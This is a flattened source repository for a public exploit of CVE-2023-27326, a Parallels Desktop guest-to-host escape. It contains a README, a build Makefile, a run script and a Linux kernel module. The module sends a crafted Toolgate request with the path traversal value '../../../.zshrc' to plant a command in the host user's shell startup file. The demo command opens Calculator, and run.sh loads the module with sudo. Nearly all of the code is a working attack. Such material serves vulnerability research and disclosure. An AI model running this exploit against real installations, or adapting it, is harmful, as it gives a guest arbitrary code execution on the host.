├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── prl_exp.c └── run.sh /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Warmonger 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m += prl_exp.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Buy Me A Coffee 2 | 3 | # Parallels Desktop VM Escape 4 | 5 | This repository contains an exploit for a [Parallels Desktop](https://www.parallels.com/products/desktop/) vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. 6 | 7 | The exploit was tested on Parallels Desktop version 18.0.0 (53049), and the vulnerability was patched in the 18.1.1 (53328) [security update](https://kb.parallels.com/125013). 8 | 9 | ## Vulnerability Details 10 | 11 | The specific flaw exists within the *Toolgate* component. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system. 12 | 13 | The full details of the vulnerability can be found in the accompanying [blog post](https://medium.com/@malwareman007/directory-traversal-arbitrary-file-write-vulnerability-a1d632472319). 14 | 15 | ## Credits 16 | 17 | The vulnerability was discovered and exploited by Alexandre Adamski of [Impalabs](https://impalabs.com). The boiler plate code of the kernel module is taken from [RET2 Systems](https://ret2.io/)'s [Pwn2Own 2021 exploit](https://github.com/ret2/Pwn2Own-2021-Parallels/). 18 | 19 | 20 | ## POC 21 | 22 | https://user-images.githubusercontent.com/86009160/236548403-0dac30c6-41fb-460b-a07b-8ebf56319dcc.mp4 23 | 24 | -------------------------------------------------------------------------------- /prl_exp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | u16 baseport; 6 | struct pci_dev* pcidev; 7 | 8 | #define TG_PORT_STATUS 0 9 | #define TG_PORT_SUBMIT 8 10 | 11 | #define INLINE_SIZE(sz) (((sz)+7)&~7) 12 | #define BUFFER_SIZE(sz) (((sz)+0xfff)&~0xfff) 13 | 14 | typedef struct _TG_PAGED_BUFFER { 15 | u64 Va; 16 | u32 ByteCount; 17 | u32 Writable:1; 18 | u32 Reserved:31; 19 | u64 Pages[0]; 20 | } TG_PAGED_BUFFER; 21 | typedef struct _TG_PAGED_REQUEST { 22 | u32 Request; 23 | u32 Status; 24 | u32 RequestSize; 25 | u16 InlineByteCount; 26 | u16 BufferCount; 27 | u64 RequestPages[1]; 28 | // inline bytes 29 | // TG_PAGED_BUFFER buffers[] 30 | } TG_PAGED_REQUEST; 31 | 32 | void outq(u64 val, u16 port) { 33 | if (val>>32) 34 | outl(val>>32, port+4); 35 | outl(val, port); 36 | } 37 | 38 | // assumes buffer addrs will be page aligned 39 | u64 calc_size(u32 inln, u32 bufcount, u64 totbufsz) { 40 | u64 dsize, dpages; 41 | 42 | totbufsz = BUFFER_SIZE(totbufsz); 43 | dsize = sizeof(TG_PAGED_REQUEST)+INLINE_SIZE(inln); 44 | dsize += bufcount*sizeof(TG_PAGED_BUFFER); 45 | dsize += 8*(totbufsz>>12); 46 | 47 | dpages = 1; 48 | while (1) { 49 | u64 delta = 1+((dsize-1)>>12) - dpages; 50 | if (!delta) 51 | break; 52 | dpages += delta; 53 | dsize += delta*8; 54 | } 55 | return dsize; 56 | } 57 | 58 | void tg_submit(u64 phys, TG_PAGED_REQUEST* req, u32 sync) { 59 | outq(phys, baseport+TG_PORT_SUBMIT); 60 | if (sync) 61 | while (req->Status == -1) 62 | yield(); 63 | //printk(KERN_INFO "status: 0x%x\n", req->Status); 64 | } 65 | 66 | // inbuf/outbuf should be kmalloc'd 67 | void twobuf_req(u32 op, void *inln, u64 inlnsz, void* inbuf, u64 inlen, void* outbuf, u64 outlen, u32 sync) { 68 | u64 dsize = calc_size(inlnsz, 2, BUFFER_SIZE(inlen)+BUFFER_SIZE(outlen)); 69 | u64 dpages = (dsize+0xfff)>>12; 70 | TG_PAGED_REQUEST* req = kzalloc(dsize, GFP_KERNEL); 71 | TG_PAGED_BUFFER* buf = (void*)&req->RequestPages[dpages]+INLINE_SIZE(inlnsz); 72 | u64 inphys = virt_to_phys(inbuf), outphys = virt_to_phys(outbuf), reqphys = virt_to_phys(req); 73 | u32 i; 74 | 75 | if (!req) { 76 | printk(KERN_WARNING "[x] couldnt alloc 0x%llx bytes for req\n", dsize); 77 | return; 78 | } 79 | 80 | req->Request = op; 81 | req->Status = -1; 82 | req->RequestSize = dsize; 83 | req->InlineByteCount = inlnsz; 84 | req->BufferCount = 2; 85 | memcpy((void *)&req->RequestPages[dpages], inln, inlnsz); 86 | 87 | buf->Va = inphys; 88 | buf->ByteCount = inlen; 89 | buf->Writable = 1; 90 | for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++) 91 | buf->Pages[i] = (inphys>>12)+i; 92 | buf = (void*)&buf->Pages[(buf->ByteCount+0xfff)>>12]; 93 | buf->Va = outphys; 94 | buf->ByteCount = outlen; 95 | buf->Writable = 1; 96 | for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++) 97 | buf->Pages[i] = (outphys>>12)+i; 98 | 99 | for (i = 0; i < dpages; i++) 100 | req->RequestPages[i] = (reqphys>>12)+i; 101 | 102 | tg_submit(reqphys, req, sync); 103 | //kfree(req); 104 | } 105 | 106 | void exploit(void) { 107 | char inln[0x200]; 108 | char *CR = kzalloc(0x1000, GFP_KERNEL); 109 | char *pbProcName = kzalloc(0x1000, GFP_KERNEL); 110 | 111 | memset(inln, 0, sizeof(inln)); 112 | *(uint32_t *)(inln + 0) = 1; 113 | *(uint32_t *)(inln + 8) = 4; 114 | *(uint32_t *)(inln + 0x1c) = 1; 115 | *(uint32_t *)(inln + 0x110) = 1; 116 | strcpy(CR, "open /System/Applications/Calculator.app\n"); 117 | strcpy(pbProcName, "../../../.zshrc"); 118 | 119 | twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0); 120 | 121 | //kfree(CR); 122 | //kfree(pbProcName); 123 | } 124 | 125 | int tg_probe(struct pci_dev* dev, const struct pci_device_id* id) { 126 | int ret; 127 | pcidev = dev; 128 | ret = pci_enable_device(dev); 129 | if (ret) { 130 | printk(KERN_WARNING "[x] failed to enable device: %d\n", ret); 131 | return ret; 132 | } 133 | printk(KERN_INFO "[+] device enabled\n"); 134 | ret = pci_set_dma_mask(dev, DMA_BIT_MASK(64)); 135 | if (ret) { 136 | printk(KERN_WARNING "[x] failed to set dma mask: %d\n", ret); 137 | return ret; 138 | } 139 | ret = pci_request_region(dev, 0, "prl_exp_portio"); 140 | if (ret) { 141 | printk(KERN_WARNING "[x] failed to request portio region: %d\n", ret); 142 | return ret; 143 | } 144 | baseport = pci_resource_start(dev, 0); 145 | printk(KERN_INFO "baseport: 0x%hx\n", baseport); 146 | exploit(); 147 | return 0; 148 | } 149 | 150 | void tg_remove(struct pci_dev* dev) { 151 | pci_release_region(dev, 0); 152 | pci_disable_device(dev); 153 | } 154 | 155 | static struct pci_device_id pci_ids[] = { 156 | {PCI_DEVICE(0x1ab8, 0x4000)}, 157 | {0} 158 | }; 159 | static struct pci_driver tg_driver = { 160 | .name = "prl_exploit_driver", 161 | .id_table = pci_ids, 162 | .probe = tg_probe, 163 | .remove = tg_remove 164 | }; 165 | 166 | static int __init init_tg_module(void) { 167 | int ret; 168 | ret = pci_register_driver(&tg_driver); 169 | if (ret) { 170 | printk(KERN_WARNING "[x] failed to register driver: %d\n", ret); 171 | return ret; 172 | } 173 | return 0; 174 | } 175 | static void __exit exit_tg_module(void) { 176 | printk(KERN_INFO "[+] unregistering driver\n"); 177 | pci_unregister_driver(&tg_driver); 178 | } 179 | module_init(init_tg_module); 180 | module_exit(exit_tg_module); 181 | 182 | MODULE_LICENSE("GPL"); 183 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | sudo sh -c '(dmesg -W &); insmod prl_exp.ko' 3 | --------------------------------------------------------------------------------